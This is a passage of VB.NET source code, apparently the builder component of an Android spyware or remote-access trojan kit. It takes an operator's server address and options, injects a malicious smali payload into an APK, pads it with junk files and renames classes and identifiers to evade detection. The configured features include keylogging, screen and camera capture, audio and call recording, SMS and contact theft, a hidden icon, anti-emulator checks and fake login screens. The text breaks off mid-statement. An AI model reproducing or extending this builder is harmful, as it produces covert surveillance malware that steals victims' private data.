need_read_stste As Boolean = False + 'Public need_all As Boolean = False + + 'Public ASKPRIM_all As String + Public Buildtype As String + + Private N_AccessibilityActivity As String = "" + Private Const AccessibilityActivity As String = "AccessibilityActivity" + '------------------FileLocator + Private N_AccessServices As String = "" + Private Const AccessServices As String = "AccessServices" + + Private N_HiddenBrowser As String = "" + Private Const HiddenBrowser As String = "HiddenBrowser" + + Private N_AccessTools As String = "" + Private Const AccessTools As String = "AccessTools" + + ' + Private N_wakeitaiv As String = "" + Private Const wakeitaiv As String = "wakeitaiv" + + + + Private N_LockActivity As String = "" + Private Const LockActivity As String = "LockActivity" + + + Private N_ActivityCaptureScreen As String = "" + Private Const ActivityCaptureScreen As String = "ActivityCaptureScreen" + + + + Private NActivityMonitors As String = "" + Private Const ActivityMonitors As String = "ActivityMonitors" + + + 'RTPluginsHelper + Private N_update_app_ As String = "" + Private Const _update_app_ As String = "_update_app_" + + + 'SecoundActivity + Private N_Apps_Manage As String = "" + Private Const Apps_Manage As String = "Apps_Manage" + + + 'CallsManager + Private N_ClassGen As String = "" + Private Const ClassGen As String = "ClassGen" + + + Private N_AudioRecorder As String = "" + Private Const AudioRecorder As String = "AudioRecorder" + + Private N_CameraCap As String = "" + Private Const CameraCap As String = "CameraCap" + + 'ChatActivity + Private N__ChatActivity_ As String = "" + Private Const ChatActivity As String = "ChatActivity" + + 'MyCods + Private N__MyCods_ As String = "" + Private Const MyCods As String = "MyCods" + + 'Consts + Private N__Consts_ As String = "" + Private Const Consts As String = "Consts" + + + + + ''NEW----------- + + 'Contacts + Private N_Contct_manager As String = "" + Private Const Contct_manager As String = "Contct_manager" + + + ' + Private N_ActivityDraw As String = "" + Private Const ActivityDraw As String = "ActivityDraw" + + 'My_Configs + Private N_My_Configs As String = "" + Private Const My_Configs As String = "My_Configs" + + 'My_Crpter + Private N_My_Crpter As String = "" + Private Const My_Crpter As String = "My_Crpter" + + + Private N_Deviceinfo As String = "" + Private Const Deviceinfo As String = "Deviceinfo" + + Private N_filesManager As String = "" + Private Const filesManager As String = "filesManager" + + Private N_id_Commands As String = "" + Private Const id_Commands As String = "id_Commands" + + Private N_KeyStorksQ As String = "" + Private Const KeyStorksQ As String = "KeyStorksQ" + + Private N_LiveChat As String = "" + Private Const LiveChat As String = "LiveChat" + + Private N_QueryChats As String = "" + Private Const QueryChats As String = "QueryChats" + + Private N_LiveKeysStrok As String = "" + Private Const LiveKeysStrok As String = "LiveKeysStrok" + + Private N_StarterServices As String = "" + Private Const StarterServices As String = "StarterServices" + + Private N_LocationMonitor As String = "" + Private Const LocationMonitor As String = "LocationMonitor" + + Private N_LockAppsActivity As String = "" + Private Const LockAppsActivity As String = "LockAppsActivity" + + Private N_ActivMain As String = "" + Private Const ActivMain As String = "ActivMain" + + Private N_MyLoger As String = "" + Private Const MyLoger As String = "MyLoger" + + Private N_MyNotification As String = "" + Private Const MyNotification As String = "MyNotification" + + Private N_MyPacket As String = "" + Private Const MyPacket As String = "MyPacket" + + Private N_MyPermissions As String = "" + Private Const MyPermissions As String = "MyPermissions" + + Private N_MySettings As String = "" + Private Const MySettings As String = "MySettings" + + Private N_PermissionsActivity As String = "" + Private Const PermissionsActivity As String = "PermissionsActivity" + + Private N_PingServices As String = "" + Private Const PingServices As String = "PingServices" + + Private N_RequestDraw As String = "" + Private Const RequestDraw As String = "RequestDraw" + + Private N_Requestinstall As String = "" + Private Const Requestinstall As String = "Requestinstall" + + Private N_RequestPermissions2 As String = "" + Private Const RequestPermissions2 As String = "RequestPermissions2" + + Private N_ScreenCaps As String = "" + Private Const ScreenCaps As String = "ScreenCaps" + + Private N_ScreenReceiver As String = "" + Private Const ScreenReceiver As String = "ScreenReceiver" + + Private N_mysmanager As String = "" + Private Const mysmanager As String = "mysmanager" + + Private N_StatusMonitor As String = "" + Private Const StatusMonitor As String = "StatusMonitor" + + Private N_UtliTools As String = "" + Private Const UtliTools As String = "UtliTools" + + Private N_VoiceRecorder As String = "" + Private Const VoiceRecorder As String = "VoiceRecorder" + + Private N_WorkServices As String = "" + Private Const WorkServices As String = "WorkServices" + + + 'BrodcastActivity + Private N_BrodcastActivity As String = "" + Private Const BrodcastActivity As String = "BrodcastActivity" + + Private N_OPPOAutostart As String = "" + Private Const OPPOAutostart As String = "OPPOAutostart" + + Private N_RestrectionActivity As String = "" + Private Const RestrectionActivity As String = "RestrectionActivity" + + Private N_HiddenActivity As String = "" + Private Const HiddenActivity As String = "HiddenActivity" + + Private N_UninstallActivity As String = "" + Private Const UninstallActivity As String = "UninstallActivity" + + Private N_EngineWorker As String = "" + Private Const EngineWorker As String = "EngineWorker" + + Private N_TransparentActivity As String = "" + Private Const TransparentActivity As String = "TransparentActivity" + + + Private N_WebBrowser As String = "" + Private Const WebBrowser As String = "WebBrowser" + + + Private N_ProxyService As String = "" + Private Const ProxyService As String = "ProxyService" + + + + Private N_RequestDataUsage As String = "" + Private Const RequestDataUsage As String = "RequestDataUsage" + + + Private N_Webjector As String = "" + Private Const Webjector As String = "Webjector" + + + Private KeepScreen As String = "off" + Private ALLPRIMSLIST As List(Of String) = New List(Of String) + + + Private NEWRANDOM As String = "" + + + Private newpkg As String = "" + Private newpkg_insmali As String = "" + + + Private oldpkg As String = "com.icontrol.protector" + Private oldpkg_insmali As String = "Lcom/icontrol/protector" + + + + Private drop_newpkg As String = "" + Private drop_newpkg_insmali As String = "" + + Private ReadOnly drop_oldpkg As String = "com.appd.instll" + Private drop_oldpkg_insmali As String = "Lcom/appd/instll" + + + Private ReadOnly accesstagdata As String = "accessibilityprivatesrcapp" + Private accesstagdata_New As String = "" + + + 'new random + + Dim Obfucated As New Dictionary(Of String, String) + Dim To_obfuscate_androidx As New List(Of String) + Dim To_Obfucate As New List(Of String) From {"URL_PING", + "URL_MSG", + "URL_SOCKT", + "getIPAddress", + "USR_MAIL", + "USR_HOST", + "SPLIT_SKT", + "SPLIT_DATA", + "SPLIT_LINE", + "SPLIT_ARAY", + "USR_NAME", + "DEVICE_ID", + "Rec_Activitys", + "Rec_Notifications", + "Rec_keystrokes", + "Rec_links", + "Rec_apps", + "THE_IDF", + "LIVE_KLOG", + "localip", + "SERVER_DIR", + "get_prims", + "get_draw", + "get_kill", + "get_click", + "Draws_overs", + "User_allPrims", + "HOME_NAME", + "Use_Access", + "Anti_Kill", + "Click_Prim", + "CONS_KY", + "get_cok", + "Auto_Clicker", + "Auto_Prims", + "Send_Skilton", + "Skeleton_Color", + "Black_Screen", + "Auto_Sreen", + "Stored_resultCode", + "Stored_intentdata", + "_Notfy_TITL_", + "_Notfy_MSG_", + "Tracking_Data_str", + "Notifi_ID", + "My_Access_inst", + "STATUS_MONITOR", + "LOCK_SERVS", + "PAKET_LOCK", + "MY_COMMANDS_LIST", + "EMIL_POST", + "PHONE_POST", + "TYPE_POST", + "CUZ_POST", + "DATA_POST", + "Fix_it", + "Get_Network", + "Create_DevicID", + "IsIgnore_Battery", + "Time_Stamp", + "Read_Contacts", + "Read_SMS", + "Read_Call_Log", + "Acc_Camera", + "Get_Accounts", + "Record_Audio", + "Call_Phone", + "Call_Record", + "Dcrpt_KET", + "Dcrypt_datas", + "Send_SMS", + "Set_Wallpaper", + "Doze_Mode", + "Draw_Overlays", + "Package_Installs", + "is_Access_Enabled", + "Battery_state", + "TempPassLock", + "Blocked_Apps", + "Lock_App_list", + "Supported_Browsers", + "Dcrpt_Str", + "Get_Cifr", + "get_accss", + "Gnrat_Ky", + "Mob_Name", + "Access_type", + "Hide_ico", + "auto_start", + "auto_battery", + "get_btry", + "get_start", + "Anti_emulator", + "get_emu", + "get_hideit", + "get_accsstype", + "Hide_Type", + "get_hideentype", + "Capture_Lock", + "get_caplock", + "Is_Store", + "get_storemod", + "Anti_Doze", + "get_dozestate", + "URL_CASH"} + + + 'Dim ResoursIds() As String = { + ' "0x7f0d001c", + ' "0x7f070066", + ' "0x7f070067", + ' "0x7f070068", + ' "0x7f07006e", + ' "0x7f070089", + ' "0x7f070096", + ' "0x7f070098", + ' "0x7f070099", + ' "0x7f07009a", + ' "0x7f07009b", + ' "0x7f07009c", + ' "0x7f07009d", + ' "0x7f100000", + ' "0x7f100002", + ' "0x7f100001", + ' "0x7f100003", + ' "0x7f0b001c", + ' "0x7f0b0060", + ' "0x7f0b0059", + ' "0x7f0b0058", + ' "0x7f0b0074", + ' "0x7f080006", + ' "0x7f08005a", + ' "0x7f080061", + ' "0x7f080062", + ' "0x7f080070", + ' "0x7f080089", + ' "0x7f0800e8", + ' "0x7f080112", + ' "0x7f080114", + ' "0x7f08012b", + ' "0x7f080141", + ' "0x7f080150" + ' } + Dim ResoursIds() As String = { + "0x7f0e001c", + "0x7f070081", + "0x7f070082", + "0x7f070083", + "0x7f070089", + "0x7f0700d7", + "0x7f0700e5", + "0x7f0700e7", + "0x7f0700e8", + "0x7f0700e9", + "0x7f0700ea", + "0x7f0700eb", + "0x7f0700ec", + "0x7f110000", + "0x7f110001", + "0x7f110002", + "0x7f110003", + "0x7f0b001c", + "0x7f0b006a", + "0x7f0b0062", + "0x7f0b0063", + "0x7f0b006f", + "0x7f080006", + "0x7f08005a", + "0x7f080063", + "0x7f080064", + "0x7f08006d", + "0x7f080088", + "0x7f0800f8", + "0x7f080124", + "0x7f080126", + "0x7f08012b", + "0x7f080162", + "0x7f080171" + } + + + '-------------FOR CUSTOM----------------- + + Private spl_arguments As String = "[x0b0x]" + Private appname As String = "" + Private appversion As String = "" + Private appicopath As String = "" + Private appurl As String = "" + + ' + ' + ' + Private logintitle As String = "" + Private logindis As String = "" + Private loginbtn As String = "" + Private lngshort As String = "" + + + Private trakingdata As String = "" + Private allconfig As String = "" + Private nodelete As String = "" + + Private hiddenapp As String = "" + Private noemulator As String = "" + Private miuiautostart As String = "" + Private theconkey As String = "" + Private installtype As String = "" + Private hidetype As String = "" + Private nosleep As String = "" + Private caplock As String = "" + + Private IsCustomeApp As Boolean = False + + + '-------------------Replace server to server + Private ServerApi As String = "http://localhost/yaarsa/private/yarsap_90061.php" + 'Private ServerApi As String = "http://localhost/BTMOB/private/yarsap_90061.php" ' XAMP + + Private ServerApi_Customapp As String = "http://localhost/yaarsa/private/yarsap_91370.php" + 'Private ServerApi_Customapp As String = "http://localhost/BTMOB/private/yarsap_91370.php" ' XAMP + + + 'Private Curnt_Domain As String = "yaarsa.com" + + Private Currentsubdir As String = "/yaarsa/private/" + + '------------------- + + + + Private onbuild As String = "onbuild" + Private failed As String = "failed" + Private finished As String = "finished" + + Private IsStoreMod As String = "0" + + + Sub Main(args As String()) + + Try + + 'DEFserverconfigs + + Dim configFilePath As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "serverconf.json") + + If Not File.Exists(configFilePath) Then + File.WriteAllText(configFilePath, My.Resources.DEFserverconfigs) + End If + + ' Read and parse the JSON file + Dim jsonConfig As String = File.ReadAllText(configFilePath) + Dim configData As Dictionary(Of String, String) = JsonConvert.DeserializeObject(Of Dictionary(Of String, String))(jsonConfig) + + ' Assign values from the JSON file + ServerApi = configData("ServerApi") + ServerApi_Customapp = configData("ServerApi_Customapp") + ' Curnt_Domain = configData("Curnt_Domain") + Currentsubdir = configData("Currentsubdir") + + MYID = FromBase64(args(0)) + SignMe(MYID, Process.GetCurrentProcess().Id.ToString()) + + Threading.Thread.Sleep(5000) + + Dim cr As Crypters = Crypters.Create() + + 'MsgBox("hi") + + appid = FromBase64(args(1)) + userid = FromBase64(args(2)) + ClientName = FromBase64(args(3)) + Email = cr.Encrypt(FromBase64(args(4))) + MainActivity = FromBase64(args(5)) + appdir = FromBase64(args(6)) + UserHost = cr.Encrypt(FromBase64(args(7))) + use_access = FromBase64(args(8)) + use_draw = FromBase64(args(9)) + use_antkill = FromBase64(args(10)) + use_atoprims = FromBase64(args(11)) + + + notifytitle = FromBase64(args(12)).Replace("""", "'").Replace("\", "\\") + + notifymsg = FromBase64(args(13)) + + 'ASKPRIM_all = FromBase64(args(14)) + + Buildtype = FromBase64(args(15)) + + + Dim currentPath As String = Directory.GetCurrentDirectory() + Dim parentPath As String = Path.GetDirectoryName(currentPath) + + Dim Appfolder = parentPath + "\" + appdir + + userfolder = parentPath + "\" + "user" + "\" + "apps" + "\" + userid + "\" + appid + + DropStub = parentPath + "\private\apkstub\dropstub.zip" + InjectStub = parentPath + "\private\apkstub\jectstub.zip" + + If Not Directory.Exists(userfolder) Then + Directory.CreateDirectory(userfolder) + End If + + 'MsgBox("hi2") + HoldFinishing = True + + Select Case Buildtype + Case "S" + IsCustomeApp = False + IsStoreMod = "1" + ZIPPATH = parentPath + "\" + appdir + "\" + appid + ".zip" + TargetApkicon = parentPath + "\" + appdir + "\" + "ico.png" + + appname = FixStrings(FromBase64(args(16))) + appversion = FromBase64(args(17)) + appicopath = FromBase64(args(18)) + appurl = cr.Encrypt(FromBase64(args(19))) + + logintitle = FromBase64(args(20)) + logindis = FromBase64(args(21)) + loginbtn = FromBase64(args(22)) + lngshort = FromBase64(args(23)) + + hiddenapp = FromBase64(args(24)) + noemulator = FromBase64(args(25)) + miuiautostart = FromBase64(args(26)) + theconkey = FromBase64(args(27)) + installtype = FromBase64(args(28)) + + hidetype = FromBase64(args(29)) + + nosleep = FromBase64(args(30)) + caplock = FromBase64(args(31)) + + trakingdata = FromBase64(args(32)) + allconfig = FromBase64(args(33)) + nodelete = FromBase64(args(34)) + + Exit Select + Case "C" + + + IsStoreMod = "0" + appname = FixStrings(FromBase64(args(16))) + appversion = FromBase64(args(17)) + appicopath = FromBase64(args(18)) + appurl = cr.Encrypt(FromBase64(args(19))) + logintitle = FromBase64(args(20)) + logindis = FromBase64(args(21)) + loginbtn = FromBase64(args(22)) + lngshort = FromBase64(args(23)) + hiddenapp = FromBase64(args(24)) + noemulator = FromBase64(args(25)) + miuiautostart = FromBase64(args(26)) + theconkey = FromBase64(args(27)) + installtype = FromBase64(args(28)) + hidetype = FromBase64(args(29)) + nosleep = FromBase64(args(30)) + caplock = FromBase64(args(31)) + + trakingdata = FromBase64(args(32)) + allconfig = FromBase64(args(33)) + nodelete = FromBase64(args(34)) + + ZIPPATH = parentPath + "\private\apkstub\apkstub.zip" + + TargetApkicon = String.Concat(New String() {parentPath, "\user\storage\", Worker.userid, "\icons\", Worker.appicopath}) + + Dim flag2 As Boolean = Not File.Exists(Worker.TargetApkicon) + If flag2 Then + Console.WriteLine("> Worker: Errorxxx") + Mylogger.Logbuild(Worker.userid, "Worker Errorxxx") + UpdateState(Worker.failed) + Worker.singout(Worker.MYID) + Environment.[Exit](0) + End If + IsCustomeApp = True + + Exit Select + Case Else + Console.WriteLine("> Worker: Error 3") + 'Mylogger.LogError(userid, "Main worker", ex.Message) + 'MsgBox("hi2") + singout(MYID) + Environment.Exit(0) + Exit Select + End Select + 'MsgBox("hi3") + Worker.InsertApp() + Mylogger.Logbuild(userid, " WORKER : Appid: " & appid & + vbNewLine & "ClientName: " & ClientName & + vbNewLine & "Email: " & Email & + vbNewLine & "MainActivity: " & MainActivity & + vbNewLine & "appdir: " & appdir & + vbNewLine & "UserHost: " & UserHost & + vbNewLine & "use_access: " & use_access & + vbNewLine & "use_draw: " & use_draw & + vbNewLine & "use_antkill: " & use_antkill & + vbNewLine & "use_atoprims: " & use_atoprims & + vbNewLine & "notifytitle: " & notifytitle & + vbNewLine & "notifymsg: " & notifymsg & + vbNewLine & "ASKPRIM_all: " & "0" & + vbNewLine & "Buildtype: " & Buildtype & + vbNewLine & "appname: " & appname & + vbNewLine & "appversion: " & appversion & + vbNewLine & "appicopath: " & appicopath & + vbNewLine & "appurl: " & appurl & + vbNewLine & "logintitle: " & logintitle & + vbNewLine & "logindis: " & logindis & + vbNewLine & "loginbtn: " & loginbtn & + vbNewLine & "lngshort: " & lngshort & + vbNewLine & "hiddenapp: " & hiddenapp & + vbNewLine & "noemulator: " & noemulator & + vbNewLine & "miuiautostart: " & miuiautostart & + vbNewLine & "autorunback: " & theconkey & + vbNewLine & "installtype: " & installtype & + vbNewLine & "hidetype: " & hidetype & + vbNewLine & "nosleep: " & nosleep & + vbNewLine & "caplock: " & caplock & + vbNewLine & "trakingdata: " & trakingdata & + vbNewLine & "allconfig: " & allconfig & + vbNewLine & "nodelete: " & nodelete) + + + + Step1() + + Step2() + + Step3() + + Do + Thread.Sleep(1) + + Loop While HoldFinishing + + + singout(MYID) + + Environment.Exit(0) + Catch ex As Exception + Console.WriteLine("> Worker: Error") + Mylogger.LogError(userid, "Main worker", ex.Message) + Worker.UpdateState(Worker.failed) + singout(MYID) + End Try + End Sub + + + + + Private Sub Step3() + '-------------------Copy Data + Dim smlipath As String = Nothing + + + If IsCustomeApp Then + Mylogger.Logbuild(Worker.userid, ">> Custom Step 3...") + smlipath = TheApkPath + "\smali" + + + + GoTo encript + End If + + Mylogger.Logbuild(userid, ">" & "> Inject Data To Apk...") + + Try + + + For index = 2 To 16 + If Not Directory.Exists(TheApkPath & "\smali_classes" & index.ToString()) Then + Directory.CreateDirectory(TheApkPath & "\smali_classes" & index.ToString()) + Directory.CreateDirectory(TheApkPath & "\smali_classes" & index.ToString() & "\com\icontrol\protector") + smlipath = TheApkPath & "\smali_classes" & index.ToString() + Exit For + + End If + Next + + If smlipath Is Nothing Then + Directory.CreateDirectory(TheApkPath & "\smali_classes" & "2") + Directory.CreateDirectory(TheApkPath & "\smali_classes" & "2" & "\com\icontrol\protector") + + smlipath = TheApkPath & "\smali_classes" & "2" + End If + ' End If + + + + + If Not File.Exists(smlipath & "\data.zip") Then + 'File.WriteAllBytes(smlipath & "\data.zip", My.Resources.APPS) + File.Copy(InjectStub, smlipath & "\data.zip") + End If + + + System.IO.Compression.ZipFile.ExtractToDirectory(smlipath & "\data.zip", smlipath) + + File.Delete(smlipath & "\data.zip") + + GenerateJunkSmaliFiles(smlipath, 125) + + Threading.Thread.Sleep(1) + + If Not Directory.Exists(TheApkPath & "\res\xml") Then + Directory.CreateDirectory(TheApkPath & "\res\xml") + End If + + + + File.WriteAllText(Worker.TheApkPath + "\res\xml\pfs1.xml", My.Resources.providerfile) + File.WriteAllText(Worker.TheApkPath + "\res\xml\network_security_config.xml", My.Resources.network_security_config) + File.WriteAllText(Worker.TheApkPath + "\res\xml\splits.xml", My.Resources.splits) + + File.WriteAllText(Worker.TheApkPath + "\res\layout\activity_chat.xml", My.Resources.Activitychat) + File.WriteAllText(Worker.TheApkPath + "\res\layout\oppobattery.xml", My.Resources.oppobattery) + File.WriteAllText(Worker.TheApkPath + "\res\layout\nointernet.xml", My.Resources.nointernet) + File.WriteAllText(Worker.TheApkPath + "\res\layout\mywebviewer.xml", My.Resources.mywebviewer) + File.WriteAllText(Worker.TheApkPath + "\res\layout\uninstall_activity.xml", My.Resources.uninstall_activity) + + UpdateApkSrcs() + + '.Replace(accesstagdata, accesstagdata_New) _ + + Dim publicxmlpath As String = Worker.TheApkPath + "\res\values\public.xml" + + + Do + Thread.Sleep(100) + Loop While Not File.Exists(publicxmlpath) Or FileInUse(publicxmlpath) + Mylogger.Logbuild(Worker.userid, ">> Encoding public file...") + Dim allstr As String = File.ReadAllText(publicxmlpath).Replace(accesstagdata, accesstagdata_New) + File.WriteAllText(publicxmlpath, allstr) + + Mylogger.Logbuild(userid, ">" & "> Copy Apk lib's...") + + Dim src_unknown As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "stublib", "unknown") + + Dim dis_unknown As String = TheApkPath + "\" + "unknown" + + CopyDirectoryContents(src_unknown, dis_unknown) + + Dim src_kotlin As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "stublib", "kotlin") + + Dim dis_kotlin As String = TheApkPath + "\" + "kotlin" + + CopyDirectoryContents(src_kotlin, dis_kotlin) + + + Catch ex As Exception + Mylogger.LogError(userid, "Step3", ex.Message) + End Try + + +encript: + + Try + + + + Mylogger.Logbuild(userid, ">" & "> Encryption...") + + + Dim files() As String = IO.Directory.GetFiles(smlipath & "\com\icontrol\protector") + + + + NEWRANDOM = madladstr() + + + 'com.icontrol.protector + 'Lcom/icontrol/protector + + + For Each f As String In files + + + + + Dim text As String = IO.File.ReadAllText(f).Replace(AccessibilityActivity, N_AccessibilityActivity) _ + .Replace(AccessServices, N_AccessServices) _ + .Replace(HiddenBrowser, N_HiddenBrowser) _ + .Replace(AccessTools, N_AccessTools) _ + .Replace(wakeitaiv, N_wakeitaiv) _ + .Replace(LockActivity, N_LockActivity) _ + .Replace(ActivityCaptureScreen, N_ActivityCaptureScreen) _ + .Replace(ActivityMonitors, NActivityMonitors) _ + .Replace(_update_app_, N_update_app_) _ + .Replace(Consts, N__Consts_) _ + .Replace(MyCods, N__MyCods_) _ + .Replace(ChatActivity, N__ChatActivity_) _ + .Replace(CameraCap, N_CameraCap) _ + .Replace(Contct_manager, N_Contct_manager) _ + .Replace(Deviceinfo, N_Deviceinfo) _ + .Replace(filesManager, N_filesManager) _ + .Replace(id_Commands, N_id_Commands) _ + .Replace(KeyStorksQ, N_KeyStorksQ) _ + .Replace(LiveChat, N_LiveChat) _ + .Replace(QueryChats, N_QueryChats) _ + .Replace(LiveKeysStrok, N_LiveKeysStrok) _ + .Replace(StarterServices, N_StarterServices) _ + .Replace(LocationMonitor, N_LocationMonitor) _ + .Replace(LockAppsActivity, N_LockAppsActivity) _ + .Replace(ActivMain, N_ActivMain) _ + .Replace(MyLoger, N_MyLoger) _ + .Replace(MyNotification, N_MyNotification) _ + .Replace(MyPacket, N_MyPacket) _ + .Replace(My_Configs, N_My_Configs) _ + .Replace(ActivityDraw, N_ActivityDraw) _ + .Replace(My_Crpter, N_My_Crpter) _ + .Replace(MyPermissions, N_MyPermissions) _ + .Replace(MySettings, N_MySettings) _ + .Replace(PermissionsActivity, N_PermissionsActivity) _ + .Replace(PingServices, N_PingServices) _ + .Replace(RequestDraw, N_RequestDraw) _ + .Replace(Requestinstall, N_Requestinstall) _ + .Replace(RequestPermissions2, N_RequestPermissions2) _ + .Replace(ScreenCaps, N_ScreenCaps) _ + .Replace(ScreenReceiver, N_ScreenReceiver) _ + .Replace(mysmanager, N_mysmanager) _ + .Replace(StatusMonitor, N_StatusMonitor) _ + .Replace(UtliTools, N_UtliTools) _ + .Replace(VoiceRecorder, N_VoiceRecorder) _ + .Replace(WorkServices, N_WorkServices) _ + .Replace(HiddenActivity, N_HiddenActivity) _ + .Replace(RestrectionActivity, N_RestrectionActivity) _ + .Replace(OPPOAutostart, N_OPPOAutostart) _ + .Replace(BrodcastActivity, N_BrodcastActivity) _ + .Replace(UninstallActivity, N_UninstallActivity) _ + .Replace(EngineWorker, N_EngineWorker) _ + .Replace(RequestDataUsage, N_RequestDataUsage) _ + .Replace(Webjector, N_Webjector) _ + .Replace(TransparentActivity, N_TransparentActivity) _ + .Replace(WebBrowser, N_WebBrowser) _ + .Replace(ProxyService, N_ProxyService) _ + .Replace(ClassGen, N_ClassGen) _ + .Replace("[USER_MAIL]", Email) _ + .Replace("[USE-SUPER]", use_access) _ + .Replace("[SERVER_ADRESS]", UserHost) _ + .Replace("[USE-NOKILL]", use_antkill) _ + .Replace("[USE-DRAWOVER]", use_draw) _ + .Replace("[USE-AUTOGRANT]", use_atoprims) _ + .Replace("[USE-ALLPRIM]", "0") _ + .Replace("[USE-AUTOSTART]", miuiautostart) _ + .Replace("[USE-HIDDEEN]", hiddenapp) _ + .Replace("[USE-STORE]", IsStoreMod) _ + .Replace("[USE-NOEMU]", noemulator) _ + .Replace("[USE-GUID]", installtype) _ + .Replace("[USE-DOZE]", nosleep) _ + .Replace("[USE-CAPLOCK]", caplock) _ + .Replace("[USE-FAKE]", hidetype) _ + .Replace("[USE-AUTOBTRY]", theconkey) _ + .Replace("[Client_N]", ClientName) _ + .Replace("[_NOTIFI_TITLE_]", notifytitle) _ + .Replace("[_NOTIFI_MSG_]", notifymsg) _ + .Replace("USE-SCREENON", KeepScreen) _ + .Replace("[OBFS]", NEWRANDOM) _ + .Replace("[BSE_URL]", appurl) _ + .Replace("[log-title]", logintitle) _ + .Replace("[log-dis]", logindis) _ + .Replace("[log-btn]", loginbtn) _ + .Replace("[log-lng]", lngshort) _ + .Replace("[NAME>LNK>ID!]", trakingdata) _ + .Replace("[ALL-CONFG]", allconfig) _ + .Replace("[CRNT-SUB]", Currentsubdir) _ + .Replace("[USE-DELTE]", nodelete) _ + .Replace(AudioRecorder, N_AudioRecorder) _ + .Replace(drop_oldpkg, drop_newpkg) _ + .Replace(oldpkg, newpkg) _ + .Replace(oldpkg_insmali, newpkg_insmali) _ + .Replace(Apps_Manage, N_Apps_Manage) + + + For Each originalString As String In To_Obfucate + text = text.Replace(originalString, Obfucated(originalString)) + Next + + File.WriteAllText(f, text) + Threading.Thread.Sleep(1) + + Next + + 'units.uni.bash.trm + + Mylogger.Logbuild(userid, ">" & "> Encryption ALL...") + + For Each fileInMain As String In Directory.GetFiles(smlipath, "*.smali", SearchOption.AllDirectories) + If fileInMain.Contains("\android\") Or fileInMain.Contains("\androidx\") Then + 'To_obfuscate_androidx + Dim newContent As String = File.ReadAllText(fileInMain) + For Each originalString As String In To_obfuscate_androidx + newContent = newContent.Replace(originalString, Obfucated(originalString)) + Next + File.WriteAllText(fileInMain, newContent) + Continue For + End If + If Not fileInMain.Contains("\android\") AndAlso Not fileInMain.Contains("\androidx\") Then + + + + Dim fileContent As String = File.ReadAllText(fileInMain) + Dim newContent As String = fileContent.Replace(AccessibilityActivity, N_AccessibilityActivity) _ + .Replace(AccessServices, N_AccessServices) _ + .Replace(HiddenBrowser, N_HiddenBrowser) _ + .Replace(AccessTools, N_AccessTools) _ + .Replace(wakeitaiv, N_wakeitaiv) _ + .Replace(LockActivity, N_LockActivity) _ + .Replace(ActivityCaptureScreen, N_ActivityCaptureScreen) _ + .Replace(ActivityMonitors, NActivityMonitors) _ + .Replace(_update_app_, N_update_app_) _ + .Replace(Consts, N__Consts_) _ + .Replace(MyCods, N__MyCods_) _ + .Replace(ChatActivity, N__ChatActivity_) _ + .Replace(CameraCap, N_CameraCap) _ + .Replace(Contct_manager, N_Contct_manager) _ + .Replace(Deviceinfo, N_Deviceinfo) _ + .Replace(filesManager, N_filesManager) _ + .Replace(id_Commands, N_id_Commands) _ + .Replace(KeyStorksQ, N_KeyStorksQ) _ + .Replace(LiveChat, N_LiveChat) _ + .Replace(QueryChats, N_QueryChats) _ + .Replace(LiveKeysStrok, N_LiveKeysStrok) _ + .Replace(StarterServices, N_StarterServices) _ + .Replace(LocationMonitor, N_LocationMonitor) _ + .Replace(LockAppsActivity, N_LockAppsActivity) _ + .Replace(ActivMain, N_ActivMain) _ + .Replace(MyLoger, N_MyLoger) _ + .Replace(MyNotification, N_MyNotification) _ + .Replace(MyPacket, N_MyPacket) _ + .Replace(My_Configs, N_My_Configs) _ + .Replace(ActivityDraw, N_ActivityDraw) _ + .Replace(My_Crpter, N_My_Crpter) _ + .Replace(MyPermissions, N_MyPermissions) _ + .Replace(MySettings, N_MySettings) _ + .Replace(PermissionsActivity, N_PermissionsActivity) _ + .Replace(PingServices, N_PingServices) _ + .Replace(RequestDraw, N_RequestDraw) _ + .Replace(Requestinstall, N_Requestinstall) _ + .Replace(RequestPermissions2, N_RequestPermissions2) _ + .Replace(ScreenCaps, N_ScreenCaps) _ + .Replace(ScreenReceiver, N_ScreenReceiver) _ + .Replace(mysmanager, N_mysmanager) _ + .Replace(StatusMonitor, N_StatusMonitor) _ + .Replace(UtliTools, N_UtliTools) _ + .Replace(VoiceRecorder, N_VoiceRecorder) _ + .Replace(WorkServices, N_WorkServices) _ + .Replace(HiddenActivity, N_HiddenActivity) _ + .Replace(RestrectionActivity, N_RestrectionActivity) _ + .Replace(OPPOAutostart, N_OPPOAutostart) _ + .Replace(BrodcastActivity, N_BrodcastActivity) _ + .Replace(UninstallActivity, N_UninstallActivity) _ + .Replace(EngineWorker, N_EngineWorker) _ + .Replace(RequestDataUsage, N_RequestDataUsage) _ + .Replace(Webjector, N_Webjector) _ + .Replace(TransparentActivity, N_TransparentActivity) _ + .Replace(WebBrowser, N_WebBrowser) _ + .Replace(ProxyService, N_ProxyService) _ + .Replace(ClassGen, N_ClassGen) _ + .Replace("[USER_MAIL]", Email) _ + .Replace("[USE-SUPER]", use_access) _ + .Replace("[SERVER_ADRESS]", UserHost) _ + .Replace("[USE-NOKILL]", use_antkill) _ + .Replace("[USE-DRAWOVER]", use_draw) _ + .Replace("[USE-AUTOGRANT]", use_atoprims) _ + .Replace("[USE-ALLPRIM]", "0") _ + .Replace("[USE-AUTOSTART]", miuiautostart) _ + .Replace("[USE-HIDDEEN]", hiddenapp) _ + .Replace("[USE-STORE]", IsStoreMod) _ + .Replace("[USE-NOEMU]", noemulator) _ + .Replace("[USE-GUID]", installtype) _ + .Replace("[USE-DOZE]", nosleep) _ + .Replace("[USE-CAPLOCK]", caplock) _ + .Replace("[USE-FAKE]", hidetype) _ + .Replace("[USE-AUTOBTRY]", theconkey) _ + .Replace("[Client_N]", ClientName) _ + .Replace("[_NOTIFI_TITLE_]", notifytitle) _ + .Replace("[_NOTIFI_MSG_]", notifymsg) _ + .Replace("USE-SCREENON", KeepScreen) _ + .Replace("[OBFS]", NEWRANDOM) _ + .Replace("[BSE_URL]", appurl) _ + .Replace("[log-title]", logintitle) _ + .Replace("[log-dis]", logindis) _ + .Replace("[log-btn]", loginbtn) _ + .Replace("[log-lng]", lngshort) _ + .Replace("[NAME>LNK>ID!]", trakingdata) _ + .Replace("[ALL-CONFG]", allconfig) _ + .Replace("[CRNT-SUB]", Currentsubdir) _ + .Replace("[USE-DELTE]", nodelete) _ + .Replace(AudioRecorder, N_AudioRecorder) _ + .Replace(drop_oldpkg, drop_newpkg) _ + .Replace(oldpkg, newpkg) _ + .Replace(oldpkg_insmali, 